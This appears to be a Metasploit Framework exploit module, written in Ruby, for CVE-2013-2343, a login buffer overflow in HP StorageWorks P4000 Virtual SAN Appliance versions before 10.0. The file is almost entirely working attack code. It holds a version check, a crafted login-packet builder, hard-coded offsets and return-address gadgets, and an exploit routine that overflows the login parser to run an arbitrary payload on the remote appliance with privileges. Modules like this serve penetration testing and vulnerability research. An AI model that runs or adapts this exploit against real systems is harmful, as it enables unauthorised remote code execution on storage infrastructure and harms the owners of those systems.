HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info={})
    super(update_info(info,
      'Name'           => "HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow",
      'Description'    => %q{
        This module exploits a buffer overflow vulnerability found in HP's StorageWorks
        P4000 VSA on versions prior to 10.0. The vulnerability is due to an insecure usage
        of the sscanf() function when parsing login requests. This module has been tested
        successfully on the HP VSA 9 Virtual Appliance.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2013-2343'],
          ['OSVDB', '94701'],
          ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-179/'],
          ['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03661318']
        ],
      'Payload'        =>
        {
          'BadChars'       => "\x2f\x00\x0d\x0a",
          'Space'          => 780,
          'DisableNops'    => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Platform'       => ['linux'],
      'Arch'           => ARCH_X86,
      'Targets'        =>
        [
          [ 'HP VSA 9',
            {
              'Version'    => '9.0.0',
              'Offset'     => 3446,
              'Ret'        => 0x0804EB34, # pop ebp # ret # from hydra
              'FakeObject' => 0x08072E58, # from hydra data
              'JmpEsp'     => 0x08050CB8  # push esp # ret # from hydra
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Jun 28 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The remote port', 13838])
      ], self.class)
  end

  def check
    connect
    packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{target['Version']}\"")
    print_status("#{rhost}:#{rport} Sending login packet to check...")
    sock.put(packet)
    res = sock.get_once
    disconnect

    if res and res=~ /OK/ and res =~ /Login/
      return Exploit::CheckCode::Vulnerable
    elsif res and res =~ /FAILED/ and res =~ /version/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def generate_packet(data)
    pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
    pkt << [data.length + 1].pack("N*")
    pkt << "\x00\x00\x00\x00"
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
    pkt << data
    pkt << "\x00"

    pkt
  end

  def exploit
    connect
    print_status("#{rhost}:#{rport} Sending login packet")
    my_bof = rand_text(target['Offset'])
    my_bof << [target.ret].pack("V")
    my_bof << [target['FakeObject']].pack("V") # Pointer to Fake Object in order to survive LHNSessionManager::SendMessage before ret
    my_bof << [target['JmpEsp']].pack("V")
    my_bof << payload.encoded

    packet = generate_packet("login:/#global$agent/#{my_bof}/#{rand_text_alpha(5)}/Version \"1\" ") # Fake version in order to ret asap
    sock.put(packet)
    disconnect
  end

end